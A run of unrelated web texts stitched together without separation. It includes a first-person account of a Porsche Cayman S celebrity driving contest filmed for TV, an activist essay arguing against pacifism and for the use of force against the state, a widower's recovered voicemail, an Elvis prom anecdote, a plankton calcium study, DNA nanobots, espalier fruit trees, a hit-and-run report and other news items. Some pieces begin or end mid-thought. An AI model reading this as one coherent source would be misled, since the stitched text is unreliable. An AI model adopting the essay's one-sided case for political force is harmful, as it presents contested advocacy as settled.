After about a half hour, all three teams shifted to another exercise to continue practice in another area. We moved into the Slalom Challenge area. The slalom course was made up of ten tall pylons spaced over 90 feet apart. At the end was a turn around “barrel.” The object of this exercise is, from a standing start, accelerate and drive to the right of the first cone, then alternate which side you drive past each cone, just like Giant Slalom snow skiing. At the end of the cones, you went around the “barrel” clockwise to turn around, then weave through the same cones back to the start. Of course, you want to do this as fast as possible, without hitting any of the cones. For me, this was something I was used to doing, since this is standard fare on an autocross course. But Brian and Bill had never really done it before. Brian went out first and took Bill with him as a passenger, then Bill drove with Brian instructing. By this time, Brian had really opened up and relaxed around the two of us, and the team was beginning to gel. I went out with Brian and he was a great help in teaching me a few things. All three of us seemed to be able to do the slalom very quick and smoothly. Bill took his second run, and knocked over the fifth cone in the slalom… but on his way back at full speed, he picked it back up! No wiggle, no drama, and he didn’t even know he did it. I think the cameras got it on tape… pretty cool.
Things were going well for us, but since we were unable to watch the other teams, everything was a mystery to us how the other teams were doing. Our time was up for practicing the slalom and we moved over to the autocross course.
Practicing The Autocross Course
This course was more of a mini road course, set up in the infield of the oval track. Once again, Bill and I let Brian drive with us as passengers for him to give us pointers. Then we went out with Brian as a passenger with us driving. It was sure fun riding along with a NASCAR driver who not only loves to run right into those curbs, but encourages me to do it too. “It helps rotate the car,” he tells me.
As a side note, we were driving these new 2014 Caymans S cars very, very hard with no breaks or cool-down period. They had smoking brake pads and hot tires, but kept going without complaint.
Practice time ended much faster than you could imagine, and we headed off to get some food. By this time the team members and production crews (each team had its own camera crew) were all one big family. As we sat in the lunchroom, all the people were talking and sharing stories about this event and other things they all had done. It was a cool experience to sit with three pro drivers and three celebrities, all talking just like every day, normal people.
Now We're Ready for the Real Deal
All the camera crews and race teams were going to be at each exercise together. Each team would do the exercise and be timed, then be followed by the second team, and the third team would finish the exercise. First exercise for all of us was the Pit Stop Challenge. In the background I could overhear each team’s producer betting with each other on who was going to win. With three times as many cameras around compared to practice, it seemed no matter what, the bug eye of a camera was always right in my face. The biggest difference was now, each team was being timed, and there was a big, bright display of the time for all to see. No hiding any more how well each team thinks it is doing. First up was the Long team. They seemed to have only a few issues with not getting the car into gear as they tried to leave the pit stop box, but their combined time was 57.xx seconds. Next up was team Rahal. They seemed very smooth, had no drama, and had a time of 52.xx seconds, which seemed very good.
It was our turn. I was to drive first into the pit box with Brian taking over, and Bill doing the finish leg. Doing a “poor man’s launch control,” the PDK-equipped Cayman S accelerates like a scalded reptile down the pit lane. I do an almost full-on ABS stop into the middle of the pit box, undoing my seat belt with one hand as I come to a stop. I slam the gear lever into park, open the door, hop out, and step around Brian in a great dance move. Brian slides into the driver’s seat as I reach around him to grab the seat belt and pull it out for him to grab it from me. He takes the seat belt and… it locks in place… arghhhhhh! Quickly, Brian lets it go back a little bit and then he can buckle up… he closes the door, puts it in gear, and races to the end of the pit lane. Our split time comes up onto the large display and it reads 26.8xx seconds. Hmmmm, even with our seat belt issue, we were still in the hunt. So Brian lines up at the entrance to pit lane and starts his half with Bill. Brian is a real pro, does everything just right, and hops out doing the same dance he and I had just done. Bill grabs onto the seat belt as Brian hands it to him and… arghhhhhh! Same thing - it locks in place. Bill does the little movement it takes to release it, and off he goes to the end of pit lane with a total time of 52.6xxx seconds. Whew, that was close, but at least we were in close proximity to the first place team.
The whole big circus crew now packs up all the timing and camera gear, and moves to the far side of the track for the Slalom Challenge.
The team who gets to lead the way this time is team Rahal. Graham wanted to put some pressure on the rest of us, and decided to be the first driver in his team to run, followed by Dara Torres, then Carl Vanderschuit. Graham went out and seemed to never lift on the gas or get out of shape, and was smooth and controlled. He raced back towards us past the finish and had a time of 25.6xx seconds. Since Rahal was the first driver timed, we didn’t know how good or bad his time was… but it looked fast. Dara hopped into the driver’s seat and had this very serious look that all Olympic athletes seem to have. You could tell she didn’t have quite the same speed that Graham had shown to us, but her run was smooth and drama free, with a time of 27.xx seconds. Next up was Carl, the PCA driver. Graham explained to us that Carl was quite the expert at slaloms and his team felt he was the fastest of the three on slalom. When Carl left the start he did show that he was more aggressive than even the pro driver Rahal. He carried just a touch more speed thru the cones and even touched the brakes at one point. At the turn around point, he was tidy and close to the pylon and was perfect until just about the second from the last cone, when he got a touch (ok, maybe more than a touch) sideways as he hit some loose gravel. The Cayman S helped him control this slide by reducing power just a touch as he was crossing the finish line. His time flashed up onto the display as 25.4xx seconds, beating Graham by just a little bit.
NASCAR Drivers are Just as Competitive as any Other Type of Driver Out There
Next up was my team, and I learned that NASCAR drivers are just as competitive as any other type of driver out there. Brian really wants to drive first to either take the pressure off the two of us, or to make a statement to the other pro drivers. So he settled into our Agate Grey Cayman S, and approached the starting line. When Brian took off it seemed fast, but somehow smoother than anyone else. He stayed tight to the cones but didn’t hit any, and the car on the way out, never put a wheel sideways or got into the gravel. He then did the turn around the pylon at the end, and headed back towards where we stood watching. You could tell he was moving faster than the other drivers, and held it wide open past the finish line. No drama at all and seemed smooth as butter. The display flashed his time of 24.9xx seconds, for the top time of the day. The whole group of us - camera crew and drivers - cheered him. Bill was up next and seemed to gain some confidence in seeing how well Brian had done. He went onto the slalom course and drove very smooth and clean up to the turn around. He went slightly wide at that turn, but was clean all the way past the finish line. His time turned out to be 26.8xx seconds, which put him slightly ahead of Dara.
As I headed towards the Cayman S for my turn, I was only slightly aware of the encouragements I was getting from the crowd, and tried to visualize what I wanted to do before I drove it. I got to the starting line and the director told me how he was going to signal me to start. I looked through the windshield far down the track as I waiting for my signal to start. I saw the director give me the thumbs up and the go ahead, and I put my left foot on the brake and right foot on the gas at the same time. Releasing the brake and putting the gas pedal to the stop, I did a nice smooth launch toward the first cone. The car seemed to be very stable and gave me the confidence not to lift as I weaved past the next two cones. Then for some reason I grew a few chicken feathers, and slightly eased out of the gas for the next two cones but at least I didn’t hit the brakes. Flooring it to my braking point for the turnaround, I stayed in close at the middle and exit. As I exited the turn, the car felt stable enough to floor it past the next three cones. Again, I slightly eased off the gas through the middle cones and floored it towards the finish line. I hit some slippery gravel areas before the last cone and could feel the Cayman S helping me do what I was asking it to do. For me, it seemed to not back off the gas, and the Cayman S let me carry speed past the finish line. Since I was in the car, I had no idea what time I had turned. I drove the car back to the parking area and could see Bill was approaching me clapping, letting me know that I didn’t do a bad job. I didn’t find out until later that my time was 25.3xx seconds.
The last group for the slalom was Patrick Long’s team. Patrick had been watching his fellow pro drivers very closely and I think he really wanted to be the top pro driver at this event. It seemed like he left the start area faster than anyone else. All the competitors were closely watching his every move through the cones. He had a little bit more dust stirring up off the ground than we had seen up to this point, and he was very smooth as he went around the turn around pylon. The nice sound of a Porsche flat six at full throttle could be heard echoing off the wall of the track, but then we all saw a slight wiggle near the end. We all watched Patrick do some great save moves with the steering wheel as he crossed over the finish line. All eyes in one human wave moved to see what his time was on the display. It flashed 25.6xx seconds, which meant that both Carl and I had times faster than two of the pros. We just happened to be next to each other and we were both smiling like raccoons eating their favorite food. Some of us did a quick tally of the scores in our heads and we all knew that the teams of Vickers and Graham were neck and neck with each other. The final track exercise would determine who would be the King of the Curve.
The Final Autocross Challenge Exercise Would be one Timed Lap for Each Driver
The first driver would leave from a standing start, complete one lap and come to a stop in a pit box. The second driver would then trade places and drive one lap, and the team’s third driver would take over and do a complete lap with a flying finish. The clock would start when the first driver went through the start lights and the time would stop when the third driver went through the finish lights. Just to make things really interesting, rain clouds were forming overhead and it was looking like it might not be dry for every team.
Our team was very happy to be first out in this last exercise. The driving order for our team was Bill Fichtner to drive first, with Brian Vickers second, and me being the anchor. Bill left in great shape on his run but unfortunately for those of us in the pits, we could not see past the first set of turns on the infield track. He soon appeared on our right, exiting the last hairpin turn and smoothly came to a stop in the pit box. Bill quickly exited the car and walked toward me. He realized almost at once he had forgotten to help Brian with the seat belt. He turned back and… argggggh! Again, the seat belt jammed on Brian. Eventually Brian got it buckled up, and off he went. With all the adrenalin pumping through me it was hard to estimate how long that error cost us, it seemed like five or six seconds elapsed but we wouldn’t know for sure. Brian was soon backing into the pit box for me to take over. Thankfully I was able to do a good pit stop and exited out onto the track. It was dark from all the rain clouds obscuring the sun and the Cayman S was still purring like a kitten with no ill effects from Brian’s fast lap. I knew the course pretty well by this time and charged into the first right/left combo of turns. As I exited the left-hander, I noticed I had more revs on the tachometer than ever before, and the car was sticking very well. Every turn was that way, with a little bit more speed everywhere than I had tried before. The 2014 Cayman S was helping me in a seamless fashion, and I got pretty brave on the most critical turn leading onto the longest straight. I had a little bit of opposite lock as I went right over the apex I wanted on this left hand turn. Without lifting, I squirmed the car out to the right edge of the track and looked down the long straight to my braking point for the next left/right turn combo. The next section of the track was just like a slightly large autocross course, many combo turns and some trail braking entrances. The last turn was a decreasing radius hairpin leading onto the final straight and the finish. I flashed across the finish line and knowing this was the end of my time with our new Cayman S, I took one more “cool down” lap and then pulled into the pits.
Spoiler Alert. If You Haven't Seen the Show Yet, Or Don't Want to Know Who Won, Don't Read On
For this last exercise, the producers did not tell us what our times were. A drama for TV thing, you know. So we all had to just hang around watching the other two teams drive and be held in suspense over the results. The good news is that the rain held off for everyone, which made for very close racing. Soon the host, Justin Bell, stood on top of a set of stairs and gave out the results. Well, that pit stop must have really cost us some time - we finished third in this event and second overall by around two seconds. Big congrats to the team of Rahal, Vanderschuit, and Torres, they drove a great event and really deserved to win. The winning team earned ten thousand dollars for their charity of choice, the Ronald McDonald house. We all soon retired back to the hotel to get out of the cold weather, and bench raced until we couldn’t keep our eyes open.
It was a great day and a once in a lifetime event I was so happy to be part of. I want to thank all that were involved with making this event: Paul Gregor and Alex Campbell from Porsche Cars North America, Kristin Vayda from Cramer-Krasselt, and Robert Dalrymple and Bob Akins of Speed TV. The TV show will be shown on Speed channel starting May 12. Follow up shows are on May 14th at 2:30pm ET and May 26th at 6:30pm ET
Special thanks go to Larry Sharp for the first person account and Brad Zucroff at the Cayman Register for passing along what we needed for this story.
Other Porsche Blog Posts You Will Enjoy
Improve Your Driving Skills With Porsche's Code of the Curve iPhone App
Why Porsche Should Consider a Flat-Four Engine for the Boxster and Cayman
Confessions of a Cayman Convert
Racing’s Future: The Porsche Young Driver Academy
[Photo Credits: Mo Satarzadeh]This is the fourteenth installment in a multi-part series. Browse the Protective Use of Force index to read more.
by Adam Herriott / Deep Green Resistance UK
Nobody in the world, nobody in history, has ever gotten their freedom by appealing to the moral sense of the people who were oppressing them. Once you study and really get a good understanding of the way the system…works, then you see, without a doubt, that the civil rights movement never had a chance of succeeding.
—Assata Shakur, founding member of the Black Liberation Army
Problem five with Pacifism and Nonviolence: No Real Threat to the State
Pacifists of the past have suffered greatly for their convictions. However, modern pacifists in rich nations seem to be thinking “What sort of politics might I engage in which will both allow me to posture as a progressive and allow me to avoid incurring harm to myself?” [1] Lierre Keith describes how civil disobedience used to be the practice of using passive bodies to shut something down, whereas now we see mostly symbolic actions. Civil disobedience was originally developed to obstruct a destructive action or process, to put bodies in the way of a harm that is happening. Nonviolent resistance can be a very effective political technique, but in many cases it has been watered down to a bizarre symbolic act across most of the left.
Some pacifists seem to look at protest as a catharsis to relieve the guilt they experience due to their privilege. This leads to a theater of pseudoresistance where the time, place, and form of resistance is booked with the police. A few arrests are made, which is often a form of nonviolent machismo worn as a badge of honour. [2]
Why do nonviolence fundamentalists preach their ideology primarily to social change groups instead of to the military, police, capitalists and other violent and oppressive groups? Why don’t they insist that these groups—those who use violence in the worst, most organized fashion—disarm first? Often, it seems they target the groups that are already nonviolent with a set of rules that further restricts their already limited power.
There is also some question around the strategic and tactical advantages of nonviolence. Peter Gelderloos dedicates a chapter to this in Nonviolence Protects the State where he critiques the four types of pacifist strategy: the morality play, the lobbying approach, the creation of alternatives, and generalized disobedience. [3]
When pacifism and nonviolence are your primary tactics, it’s often impossible to negotiate the terms of struggle with the state. [4] Those in power will only use their time and resources on campaigns and groups that they view as a threat, and will tolerate or even support harmless activities. [5].This is a much-needed pressure valve to stop campaign groups becoming militant or effective. It also supports the pretense that democracy is alive and well. Think how violently repressive the British state was in Ireland and India to crush resistance movements. This only radicalised the population more. Now the repression is much more subtle.
Reformism can actually strengthen the oppressive systems we face. It seeks to change a harmful system, while attempting to make the conditions more tolerable for the population. Systems only change when power is destroyed or fundamentally redistributed. In many cases, reformist work may actually be counterproductive. [6]
Democracy is generally held up as the ideal social structure. Gelderloos argues that in reality, the difference between democracy and dictatorship is often smaller than you would think, or even fictitious. In practice, any difference is based on ritual. The two forms of government are interchangeable, and when a government goes from a dictatorship to democracy, many of the same people stay in charge. Wolff makes a similar point that a modern industrial democracy is no different than a dictatorship—“it is only superstition and the myth of legitimacy that invests the judge, the policeman, or the official with an exclusive right to the exercise of certain kinds of force.”
Gelderloos makes a further point that nonviolence revolution is technically anti-democratic as it requires a small minority to go against the will of the masses, at least initially. [7]
Gelderloos describes Gene Sharp’s book, From Dictatorship to Democracy, not as a strategy but as a template to be reproduced, and many have tried. He observes that this approach has created success on its own terms but that this has occurred in a vacuum, with the absence of competing methods of social change. [8]
For example, Gelderloos identifies the number of issues with the Colour Revolutions:
If nonviolent regime change is best suited to achieving democracy, how can it be that the same method also tramples basic democratic principles like due process? If it is democratic to oust fraudulently elected dictators using mass protests and obstruction, but a “de facto coup” to oust an unpopular, corrupt but elected and impeachable president using those same methods, what is the line between dictatorship and democracy? If due process can be twisted or stacked by dictators, but respect for due process is the elemental characteristic of democracy, then are mass protest and disobedience fundamentally democratic or anti-democratic?
Gelderloos describes how the Colour Revolutions also lacked social critique and instead focused on a simple message of opposition. The strategic decisions came from the top of the movement and needed the support of the elite. The military and police had already been convinced to support the “revolution” from the start. This results in the nonviolent protesters being spectators in their own movement. It’s telling that each Colour Revolution resulted in a government that wanted a close relationship with the West rather than Russia. [9]
The outcome of a nonviolent revolution is hard to predict. For example, look at the Arab Spring uprisings in Tunisia, Egypt, Libya, Syria and a number of other countries. The first two resulted in a relatively non-violent transition to “democratic” governments. Libya, however, is unstable and violent with a struggling parliament after its civil war. The uprising in Syria resulted in a civil war and the worst refugee crisis, still ongoing, since the second world war.
Some nonviolence fundamentalists argue that to be successful, a campaign needs to champion a cause that everyone supports. [10] Unfortunately that doesn’t appear possible in most industrialised countries. Most of their citizens think they are happy and comfortable with their lifestyle and don’t want to give it up.
Problem Six with Pacifism and Nonviolence: Nonviolence Increases Repression
One of the complaints that nonviolence fundamentalists have about using force is that is will cause the state to repress the movement more than if nonviolence is used.
The state will use physical force to defend itself against unwanted threats to its existence. Any real threat, using force or nonviolent direct action will provoke a response. Why would the immoral state act morally in an instance when nonviolence is used? [11]
Repression always increases as movements become larger, stronger or more effective. Generally, governments take advantage of weakness or limited resistance to increase repression. In relation to repression, governments are proactive, not reactive, and will take advantage of peaceful social resistance to intensify their implementation of social control compared to when there is militant resistance. In this regard, European countries with radical movements that use combative tactics such as Greece, Spain and France can be contrasted with countries with less resistance and high levels of pacifism and surveillance, such as the UK and Holland. [12]
So that concludes the list. I do not necessarily agree with every point, but I think they raise important questions that have not been satisfactorily dealt with by nonviolence advocates.
This is the fourteenth installment in a multi-part series. Browse the Protective Use of Force index to read more.
Endnotes
Pacifism as Pathology, Ward Churchill, 1998, page 61 Mike Ryan write about the Canadian peace movement in Pacifism as Pathology, page 139/40, takku.net/mediagallery/mediaobjects/orig/f/f_ward_churchill_-_pacifism_as_pathology.pdf Nonviolence Protects the State, Peter Gelderloos, 2005, page 55-75 Pacifism as Pathology, page 47 Drinking Molotov Cocktails with Gandhi, Mark Boyle, 2015, page 137 Drinking Molotov Cocktails with Gandhi, page 9 Failure of Nonviolence, Peter Gelderloos, 2013, page 106 Failure of Nonviolence, page 98 Failure of Nonviolence, page 98-104 Blueprint for Revolution: How to Use Rice Pudding, Lego Men, and Other Non-Violent Techniques to Galvanise Communities, Overthrow Dictators, or Simply Change the World, Srdja Popovic, Matthew Miller, 2015 Pacifism as Pathology, page 59 Failure of Nonviolence, page 288-9
To repost this or other DGR original writings, please contact newsservice@deepgreenresistance.orgLONDON -- Stan Beaton lost his wife a decade ago, so he cherished the simple voicemail greeting she had recorded at their home in northern England.
U.K. widower given back the voice of his late wife
Then, without warning, it disappeared; deleted by his phone service provider, Virgin Media.
When Virgin heard about his story, BBC Radio Leeds reports, they set a team of 10 employees to the task of bringing the audio back, and the radio station was on hand this week to surprise Stan with a sound he believed he'd never hear again.
"That's her," he says choking up as he hears his late wife's voice. "Wonderful. Wonderful."
As Stan himself point's out to the BBC Radio reporter sitting in front of him, "I suppose it's gonna be a bit of a PR job now, but thank you, Virgin Media."
He said he was "staggered" at the lengths the company had gone to to retrieve it.
The full video can be found here, and it's worth watching.
Not all PR stunts are created equal.Elvis Presley’s first major record label album, self-titled, was released by RCA Records on March 23, 1956, just a few months after his 21st birthday. The King, as he’d soon be known, had a few other tracks recorded by Sun Records beginning in 1953, but by and large, Elvis’ childhood was anything but regal. His Wikipedia entry recaps his early years, noting that he was shy, referring to him as a “loner,” and as the target of bullies who called him a “mama’s boy.” On the side, he practiced guitar under the guide of various mentors, but in large part, kept those studies to himself. It was not until his junior year in high school that others took notice of him, and even then, it was mostly due to his blues-inspired wardrobe and emerging sideburns, and not for his music. In April, 1953, at the age of 18, he performed at a school talent show, and only then did his classmates realize that he was a talented musician.
But by then, the die had been cast. Elvis Presley, who would later become a magnet for women, was anything but during his high school days. And there’s no better evidence of that than the awkward date night that was his senior prom.
Elvis, then 18, asked a 14 year-old blonde named Regis Wilson to be his prom date. She accepted — hardly the fait accompli one would imagine in retrospect — and spent just under $15 (now the equivalent of $120, accounting for inflation) on a pink gown, per mental_floss. That was a lot of money, especially for Wilson and her family, so Elvis’ would-be date had her hair done, free, at a local beauty school.
As Wilson recounted in an interview with the Sun Sentinel, Elvis picked her up in a rented Chevy, using money he earned as an usher at a nearby theater, and brought her a pink corsage. Unlike most of the men at the ball, he wasn’t wearing a tuxedo (as seen above, via the same mental_floss article) but rather a dark suit and a narrow tie. He had his soon-to-be trademark sideburns, and, Wilson notes, that he wasn’t wearing leather tuxedo shoes; she claims (and apparently, isn’t joking) that he donned a pair of blue suede shoes. |
a Palestinian coastal enclave bordering Israel and Egypt, is controlled by the Hamas terror group.
The death toll, the heaviest single day loss for the Turkish army in its Syria operation that started in August, came in fighting with jihadists that included three suicide car bomb attacks, the army added in a statement quoted by Turkish media.
The IS-held town of al-bab, 25 kilometers (15 miles) from the Turkish border, has become the main target of the army’s three-month campaign inside Syria in support of pro-Ankara Syrian rebels.TORONTO, Sept. 6, 2012 – Imagine that the players on your favourite football team were smaller than their opponents, and had to play without helmets or pads. Left defenseless, they would become easy prey for other teams. Similarly, changes in Canadian lake water chemistry have left small water organisms vulnerable to their predators, which may pose a serious environmental threat, according to a new study.
“At low calcium levels the organisms grow slower and cannot build their armour,” says study lead author Howard Riessen, professor of biology, SUNY College at Buffalo. “Without suitable armour, they are vulnerable to ambush by predators,” he says.
Riessen and colleagues, including York University biology Professor Norman Yan, studied the effect of changes in water chemistry on plankton prey defenses. Specifically, they examined how lower calcium concentrations affect Daphnia (water flea) exoskeleton development. These low calcium levels are caused by loss of calcium from forest soils, a consequence of decades of acid rain and multiple cycles of logging and forest growth. The results are published this week in the Proceedings of the National Academy of Sciences.
“Calcium is a critical element for Daphnia and many other crustaceans,” Riessen says. “Daphnia build their exoskeletons, which include some defensive spines, with calcium to protect themselves from predators. Where calcium levels are low, the Daphnia have softer, smaller, exoskeletons with fewer defensive spines, making them an easy snack.”
Why do plankton matter? Yan, the study’s senior author and a Fellow of the Royal Society of Canada, emphasizes that the tiny creatures are critical to our survival. “Without plankton, humans would be quite hungry, and perhaps even dead. Much of the world's photosynthesis, the basis of all of our food, comes from the ocean's plankton. The oxygen in every other breath we take is a product of phytoplankton photosynthesis,” says Yan.
This phenomenon of reduced calcium is also playing out on a much larger scale in the world’s oceans, he notes. “Increases in ocean acidity are complicating calcium acquisition by marine life, which is an under-reported effect of global carbon dioxide emissions. Thus marine plankton may also find themselves more vulnerable to predators,” he says.
The public is used to stories about changes in water chemistry that lead to large-scale fish kills, says Riessen. “These changes are more insidious. Daphnia might not be a household name, but they are food for fish, and they help keep our lakes clean. Changing the balance between Daphnia and their predators marks a major change in lake systems.”
York University is a leading interdisciplinary research and teaching university in Canada. York offers a modern, academic experience at the undergraduate and graduate level in Toronto – Canada’s most international city. The third largest university in the country, York is host to a dynamic academic community of 55,000 students and 7,000 faculty and staff, as well as 250,000 alumni worldwide. York’s 11 faculties and 28 research centres conduct ambitious, groundbreaking research that is interdisciplinary, cutting across traditional academic boundaries. This distinctive and collaborative approach is preparing students for the future and bringing fresh insights and solutions to real-world challenges. York University is an autonomous, not-for-profit corporation.
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Janice Walls, Media Relations, York University, 416 736 2100 x22101, wallsj@yorku.caPicture a robot. You're probably envisioning something fairly substantial that goes beep boop bop. But a lot of early work is being done on nanomachines--robots so tiny they might not be visible to the naked eye.
Researchers at Brock University in Ontario, Canada, recently published positive results after building a robot out of a 20-nanometer gold particle. Short and long strands of DNA attached to the particle form the functional mechanism of their little machine, which is designed to detect diseases in a blood sample.
The long DNA strands contain the genetic sequences of whatever disease the bot is testing for. The short strands carry fluorescent signal reporters. If biomarkers for the disease are present in a blood sample, the machine "switches on."
When activated, the bot is designed to use its long DNA strands to cut the short DNA strands, activating fluorescent signals. The result is a glowing bot, which indicates a positive result.It's that process, which happens autonomously, that makes these little specks true robots.
Theoretical physicist Richard Feynman was one of the first to postulate about manmade molecular machines way back in the 1950s. But the technology to make those devices a reality is only now within reach of advanced labs.
In addition to Nubots, an abbreviation for nucleic acid robots, such as the one the Brock researchers have created, other nanomachines may rely on a combination of synthetic molecules like diamondoids and organic organisms such as viruses for drug delivery and even nano surgery. Get ready for a lot of clumsy Fantastic Voyage references.
Nanomachines may also play an important role in manufacturing, especially if technologies like quantum computing step firmly across the theoretical divide and gain purchase as viable consumer technologies.
So far, the Brock University researchers have used their machine to detect tuberculosis, which is still a big problem in much of the world. The results were published in the journal ACS Nano in January.
Eventually the bots will be programmed to capture specific microRNA in samples, which would make it suitable to detect biomarkers for cancers.I like them because, especially in small, urban spaces, there is a primitive magic to watching the fruits appear every year, dangling from their branches: edible, yes, that's part of it - but somehow more spiritual, less utilitarian than vegetables.
My new courtyard garden is jam-packed (if you will) with fruit-bearing plants. I now have two small apple trees - one crab, one eating - an ornamental orange tree, a grape-producing vine, two blueberry plants and a weeping pear.
Having planted them in two old Italian urns either side of some stone steps leading up to the garage (which, covered with vines and stained-glass windows looks more like Hansel and Gretel's cottage than a place to park my battered Mini), I asked my horticultural mentor, Piers, Gardener to the Stars, to help me espalier train them to the walls.
The walls are already covered with very healthy Trachelospermum, which we trimmed to make space.
Normally, as Piers pointed out, you would use lovely long wires to create symmetrical lines like outstretched arms - but between the doors, the windows and a couple of wall lights, we only had a crunched, awkward space to play with, and had to improvise with different angles.
Branch lines
Piers drilled into the wall for each hole before fixing in some fat rawl plugs, about a foot apart. Then we twisted in some vine eyes before threading them through with wire (we used green, plastic-coated galvanised wire - the uncoated silver kind can get too hot in the sun and potentially damage the plant).
Having created the espalier frame, we chose some lateral branches to train against the walls. This was the most painful part. Piers instructed me to be both patient and quite harsh: the branches that aren't fastened back need to be lopped off in order to concentrate all the energies into the others.
I had a Sophie's Choice moment before opting for a long, straight branch over an awkwardly angled one with three pretty apples on it.
Then we set about fixing the chosen branches along the wires with Flexi-Tie, an elastic string which allows for growth. Both my apples are small trees and will remain fairly dwarfed in their handsome urns, but we still had to cut them back to about 7ft in height.
Proof of the pudding
Having organised the rest of my fruit trees to best effect in the small space (I will have to keep my eye on the citrus, which will need to be swaddled or brought inside when the frosts start), we take a break.
I look rather sadly at the three eating apples that were sacrificed for the espalier. "Why don't we have a tasting?" Piers suggests, remembering that he has some apples, brought back from Wiltshire, in his van.
My heart sinks further when he returns with a perfect, glossy, blush-red apple - exactly the type that got Snow White in trouble. Next to it, my apples look small, yellowish and rather unsophisticated.
We sit at my garden table and munch. Piers's apple tastes just like it looks - rosy, sweet, with just a hint of drunkenness. I bite into mine, imagining that it will taste of grey pavements and parking tickets.
"How funny," says Piers. "Yours is rougher, but crispy and tangy, I prefer it. Somehow, it tastes more of the countryside."
Key points
Most fruit trees grow best in sunlight - if you keep your apple tree warm it will encourage more fruit. Walls are ideal and espalier training means they are nicely tied in, as well as sheltered.
Apple trees don't need much pruning, but small amounts at chosen times help with productivity. Autumn is when your trees are in fruit so they are best left shaggy and full.
Midwinter is good for a first prune.
Late spring is best for vigorous pruning, that is, after the tree has blossomed.
Careful summer pruning can be used to remove undesirable growth and maintain size.Metta World Peace and his daughter, Sadie Artest, were on a Hallmark Channel cooking show called Home & Family to make a summer chicken salad this week (h/t Basketball Insiders’ Eric Pincus). Sadie Artest was the one who handled the ingredients, while Metta was asked about the Finals and how it felt to watch the Cavaliers win.
Metta said it’s a little weird watching games because he wants to root for the players, like LeBron James, but at the same time he wants to play against them and beat them on the court.
Next, he was asked about his relationship with LeBron, and he brought up an interesting factoid.
“I’ve been watching him since he was 15 years old. I remember I was in Chicago when I was 19 and he was a 15-year-old boy playing with me, Michael Jordan, and a lot of others.”
Flash forward 17 years, 36-year-old Metta is a one-time champion, and 31-year-old LeBron has won three. It’s incredible how time flies. Metta said he hasn’t talked to LeBron since the Finals, but he added that he did speak to Iman Shumpert and others.
Metta said he’s happy for the Cavaliers and the young guys on the team and that he believes they deserve the championship. He even said that he got swept up in the emotions of the moment and started crying after they won.
A day after the game, he declared this past season to be the NBA’s greatest ever.Episode 629: Buy Low, Sell Prime
Enlarge this image toggle caption Jacob Goldstein/NPR Jacob Goldstein/NPR
Note: This episode originally ran in 2015.
Sam Cohen's business works like this: He walks into a big retail store and buys a bunch of stuff. Then he sells it on Amazon for more. It's straightforward and surprisingly lucrative.
This is a multimillion-dollar business for Sam — and for lots of other people who do the same thing. It's called retail arbitrage.
How is this even a job, much less an industry? It defies something called the law of one price. That economic principle says that the same item should sell for pretty much the same amount of money everywhere it's available. If, say, a Nerf football costs $15 at Toys "R" Us, it should cost the same amount on Amazon. Because, if it's cheaper in one of those places, everyone will just buy where it's cheap. If it can sell for more on Amazon, why doesn't Toys "R" Us sell it for more there themselves?
Planet Money #629: Buy Low, Sell Prime #629: Buy Low, Sell Prime Listen · 15:00 15:00
In a lot of cases, the law of one price still holds. But Sam Cohen is an expert at finding the sweet spot: Products that he can buy in bulk at a physical store, and then resell online for a profit. He knows, for example, that a board game like Monopoly is a "commodity item" that he probably won't be able to make money on. It's available everywhere, and it'll probably have pretty much the same price no matter where you look. All those sellers are competing with each other, driving the price down. But a specialty box of Monopoly — say, a Game of Thrones-themed box — he could potentially sell for a profit.
Today on the show: We meet the modern middleman and we find out how he makes money doing something that should be economically impossible.
Music: BoxCat Games' "Against the Wall" and "Light Up My Mind." Find us: Twitter/ Facebook.
Subscribe to our show on Apple Podcasts or PocketCast.Please enable Javascript to watch this video
CLEVELAND -- An off-duty police officer out on an annual road trip nearly lost his life on the side of a busy highway.
On Wednesday, the out-of-town officer spoke from his hospital bed in hopes of finding the driver who hit him and left him for dead.
"Every year we take a motorcycle trip to meet friends in Vermont. This is our 16th year doing it,” Robert Bielak told Fox 8 News.
But this year Bielak, 46, didn't make it.
His life changed in a flash along I-71 around 11:30 a.m. on Tuesday.
The off-duty Pinckney, Michigan police officer was on his motorcycle heading south as he made his way through Cleveland.
"Missed an exit and I pulled over to the side of the road … a good 10 to 11 feet off the road,” Bielak explained.
He glanced at his map when he was just south of the Ridge Road overpass. That’s where the officer was hit while sitting on his bike.
“No brakes. It was highway speed impact. Caught the left side of the bike and I was still sitting on it," Bielak said of the accident.
Witnesses said officer Bielak flew into the air and hit a sign before he landed on the ground.
They also said the man who hit him was driving a 90s style, four-door Buick that is light beige metallic in color.
The driver pulled over briefly, but never got out of the car. He took off after a motorist pulled up behind him.
Bielak's bike was smashed, and what’s worse, the officer lost his leg from the knee down.
He asked for the public's help in tracking down the driver who hit him.
“I've got a wife and kids and thanks to this person I'm missing part of my leg, all thanks to this person who didn't have the heart to stop and do what he should have done,” Bielak said.
Cleveland police are still looking for the Buick and said the vehicle will have heavy damage to the right-side front fender, bumper and molding.
It will also be missing a right-side hubcap and mirror.
Officer Bielak said his helmet and full riding gear helped save his life.
Anyone with information about this accident is urged to call the Cleveland Police Department.
Stick with Fox 8 News and FOX8.com for updates on this story as they become available.As it did the prior two days, NCAA Tournament coverage on TNT and TBS ruled the top of the cable ratings Saturday. The Purdue-Iowa State Game scored the day’s top adults 18-49 rating (1.1) and its biggest total audience at 3.37 million.
NCAA-related programming took up seven of the Top 10 spots. The highest-rated non-sports show was “Samurai Jack,” whose second episode (0.7 in adults 18-49, 1.3 million viewers) held up pretty well vs. its premiere the previous wee (0.8, 1.55 million).
Top 25 original cable shows among adults 18-49 for Saturday, March 18, 2017
